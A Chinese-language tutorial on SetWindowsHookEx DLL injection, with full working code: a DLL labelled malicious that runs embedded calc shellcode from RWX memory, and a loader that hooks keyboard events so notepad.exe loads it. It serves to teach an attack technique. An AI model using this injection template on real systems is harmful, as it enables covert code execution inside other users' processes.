10-挂钩注入(SetWindowsHookEx Injection)

一、前言

挂钩(Hooking) 机制是一种拦截和修改系统、应用程序或特定函数执行流程的技术,这一看好像跟中断机制有点类似,中断服务程序由操作系统负责,运行在内核态,而我们的钩子程序(也称钩子过程) 运行在用户模式。

挂钩(Hooking)机制 挺有趣的,Windows允许程序安装挂钩,以使用来监视各种系统事件,例如鼠标单击和键盘按键。具体机制的介绍我将在 hooking技术 这一小节详细讲解。

在挂钩注入中有两个重要的Windows API,它们分别是 SetWindowsHookExUnhookWindowsHookEx

  1. SetWindowsHookEx:设置相应类型的钩子程序,当某类事件发生时会调用相应的相应类型的钩子程序。官方文档:SetWindowsHookExA 函数 (winuser.h) - Win32 apps | Microsoft Learn。钩子的类型如下:

    • WH_KEYBOARD:键盘消息钩子

    • WH_MOUSE:鼠标消息钩子

    • WH_CBT:系统回调钩子

    • WH_SHELL:Shell消息钩子

    • WH_CALLWNDPROC:窗口消息钩子

    • 更多的钩子类型,请看官方文档

  2. UnhookWindowsHook:删除 SetWindowsHookEx 函数安装在挂钩链中的挂钩过程。官方文档:UnhookWindowsHookEx 函数 (winuser.h) - Win32 apps | Microsoft Learn

二、流程

  1. 创建一个恶意 DLL,该DLL导出一个 EvilFunction 函数,函数的主要作用是加载执行shellcode

  2. 创建一个exe文件,该exe文件的主要作用

    • 解析导出函数的地址,获得 钩子程序,其实也就是EvilFunction 的地址

    • 使用 SetWindowsHookEx 给键盘安装钩子(Hook),然后,返回值为挂钩过程的句柄。

    • 受害者运行notepad.exe,使用键盘打字

    • 由于键盘事件是 hooked 的,打字后会触发我们的钩子,notepad.exe 会加载我们的恶意 dll 并调用导出的函数

三、代码实现

挂钩注入主要是 DLL 注入,所以我们需要生成一个携带着恶意shellcode的dll,这个恶意的dll需要导出一个导出函数 EvilFunction

恶意DLL

#include <Windows.h>

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

extern "C" __declspec(dllexport) int EvilFunction() {

    // calc shellcode
    unsigned char buf[] = { 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3 };

    // 申请一块大小为buf字节数组长度的可读可行的内存区域
    LPVOID pMemory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // 将buf数组中的内容复制到刚刚分配的内存区域
    RtlMoveMemory(pMemory, buf, sizeof(buf));

    // 创建一个线程执行内存中的代码
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);

    Sleep(1000);
}

exe文件的代码

#include <iostream>
#include <Windows.h>

int main()
{
	// 解析导出函数的地址,获得钩子程序,其实也就是EvilFunction的地址
	HMODULE library = LoadLibraryA("dllhook.dll");
	HOOKPROC hookProc = (HOOKPROC)GetProcAddress(library, "EvilFunction");

	// 使用 SetWindowsHookEx 给键盘安装钩子(Hook),然后,返回值为挂钩过程的句柄
	HHOOK hook = SetWindowsHookEx(
		WH_KEYBOARD,   // 钩子类型
		hookProc,      // 钩子程序
		library,       // 包含钩子函数的DLL模块句柄
		0);            // 钩子作用的线程ID

	// 保持钩子生效10秒
	Sleep(10 * 1000);

	// 卸载钩子
	UnhookWindowsHookEx(hook);

	return 0;
}
recording.gif

Last updated